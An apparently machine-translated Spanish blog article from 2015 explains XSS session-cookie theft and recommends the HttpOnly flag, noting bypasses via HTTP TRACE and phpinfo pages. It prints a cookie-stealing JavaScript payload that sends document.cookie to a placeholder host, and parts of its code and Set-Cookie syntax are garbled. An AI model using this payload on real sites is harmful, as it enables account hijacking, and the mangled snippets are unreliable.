Con el auge de los servicios www, cada vez más aplicaciones han pasado a estructuras B/S, de modo que se puede acceder a una variedad de servicios web con un solo navegador, pero esto también está generando cada vez más problemas de seguridad web. El servicio www se basa en el protocolo Http, Http es un protocolo sin estado, por lo que para pasar información entre sesiones es inevitable usar cookies o sesiones y otras tecnologías para marcar el estado del visitante, y ya sea una cookie o una sesión, generalmente se implementa usando cookies (Session en realidad se marca con un token en la cookie del navegador, El servidor obtiene este token, verifica la legitimidad y vincula el estado correspondiente almacenado en el servidor al navegador, de modo que inevitablemente se centra en la cookie de forma segura; mientras esta cookie se obtenga, se puede obtener la identidad de otros, lo cual es algo maravilloso para los intrusos, especialmente cuando la cookie obtenida pertenece a una persona de alto privilegio como un administrador, el daño es aún mayor. Entre varios problemas de seguridad web, la vulnerabilidad XSS es especialmente peligrosa.
Para aplicaciones, una vez que hay una vulnerabilidad XSS, significa que otros pueden ejecutar scripts JS arbitrarios en tu navegador, y si la aplicación es de código abierto o las funciones son públicas, otros pueden usar Ajax para usar estas funciones, pero el proceso suele ser engorroso, especialmente si quieres obtener directamente la identidad de otra persona para navegar de forma casual. Para aplicaciones no de código abierto, como el fondo web de algunos sitios grandes (una característica significativa de web2.0 es el gran número de interacciones, los usuarios a menudo necesitan interactuar con los administradores en segundo plano, como informes de errores o entrega de información, etc.), aunque puede haber vulnerabilidades en scripting entre sitios debido a la existencia de interacción, pero debido a la falta de comprensión del trasfondo, es imposible construir código ajax perfecto para usar, incluso si puedes usar js para obtener el código en segundo plano y devolverlo para análisis, pero el proceso también es engorroso y no está oculto. En este momento, es muy efectivo utilizar la vulnerabilidad xss para obtener cookies o secuestros de sesión, analizar específicamente la autenticación de la aplicación y luego emplear ciertas técnicas, e incluso obtener permanentemente la identidad de la otra parte incluso si esta sale del programa.
¿Entonces, cómo conseguir que el secuestro de cookies o de sesión? En el objeto documento del navegador, la información de la cookie se almacena, y la cookie puede recuperarse usando js; mientras recibas esta cookie, puedes tener la identidad de otra persona. Una declaración típica de ataque XSS es la siguiente:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Algunas aplicaciones pueden adoptar técnicas de enlace de navegador para abordar este problema, como vincular cookies al agente de usuario del navegador, y considerar la cookie inválida una vez que se descubre. Este método ha demostrado ser ineficaz, porque cuando el intruso roba la cookie, debe haber obtenido el User-agent al mismo tiempo. También hay otro estricto que vincula cookies a Remote-addr (de hecho, está vinculado a IP, pero algunos programas tienen problemas con el método de obtención de IP, lo que también lleva a la ahorración), pero esto provoca una experiencia de usuario muy pobre, cambiar IP es algo común, como trabajo y casa son 2 IPs, por lo que este método a menudo no se adopta. Por ello, los ataques basados en cookies son muy populares hoy en día, y es fácil obtener el estatus de administrador de la aplicación en algunos sitios web 2.0.
¿Cómo mantenemos seguras nuestras cookies sensibles? A través del análisis anterior, se obtienen cookies generales a partir de objetos documento, y solo necesitamos hacer invisibles las cookies sensibles en el documento del navegador. Afortunadamente, los navegadores ahora generalmente aceptan un parámetro llamado HttpOnly al configurar cookies, al igual que otros parámetros como el dominio; una vez que este HttpOnly está activado, no verás la cookie en el objeto documento del navegador, y el navegador no se verá afectado de ninguna manera al navegar, porque la cookie se enviará en el encabezado del navegador (incluido ajax). Las aplicaciones generalmente no operan estas cookies sensibles en js, nosotros usamos HttpOnly para algunas cookies sensibles, y no configuramos algunas cookies que deban operarse con js en la aplicación, lo que garantiza la seguridad de la información de las cookies y la aplicación. Para más información sobre HttpOnly, véase http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
El encabezado para configurar cookies en tu navegador es el siguiente:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Tomando php como ejemplo, se ha añadido soporte para HttpOnly a la función Setcookie en php 5.2, por ejemplo:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,TRUE);
Puedes poner la cookie abc en HttpOnly, y el documento no será visible para esta cookie. Como la función setcookie es esencialmente un encabezado, también puedes usar el encabezado para establecer HttpOnly. Luego usa document.cookie para comprobar que esta cookie ya no está disponible. Utilizamos este método para proteger Sessionid, como algunas cookies de autenticación para autenticación, de modo que no tenemos que preocuparnos por la identidad que se obtiene, lo cual es de gran importancia para algunos programas en segundo plano y webmail para mejorar la seguridad. Cuando volvemos a usar el método de ataque anterior, podemos ver que ya no podemos obtener cookies sensibles que hemos puesto como HttpOnly.
Sin embargo, también se puede ver que HttpOnly no es omnipotente; en primer lugar, no puede resolver el problema de xss, aún no puede resistir el ataque de algunos hackers pacientes, ni puede impedir que intrusos hagan envíos ajax, e incluso han aparecido algunos proxies basados en xss, pero ha sido posible elevar el umbral de ataques, al menos los ataques xss no se completan con todos los script kid, y otros métodos de ataque se deben a ciertas limitaciones ambientales y técnicas. No es tan común como robar galletas.
HttpOnly también puede explotar algunas vulnerabilidades o configurar Bypass, el problema clave es que mientras puedas recibir la cabecera de la cookie enviada por el navegador. Por ejemplo, el ataque Http Trace anterior puede devolver la cookie en tu cabecera, y este ataque puede completarse usando ajax o flash, que también ha sido parcheado en ajax y flash. Otro ejemplo notable de posible bypass en la configuración o aplicación es phpinfo; como sabes, phpinfo mostrará la cabecera http enviada por el navegador, incluyendo la información de autenticación que protegemos, y esta página suele estar presente en varios sitios; siempre que uses ajax para acceder a la página phpinfo, elimina la parte correspondiente al encabezado para obtener la cookie. Las imperfecciones en algunas aplicaciones también pueden provocar fugas en la cabecera, que pueden ser atacadas tanto como una página protegida por verificación básica.
HttpOnly está mejor soportado en IE 6 y superiores, y se utiliza ampliamente en aplicaciones como Hotmail, y ha logrado resultados de seguridad relativamente buenos.
|
Publicado en 3/6/2015 20:57:48
|
|
|
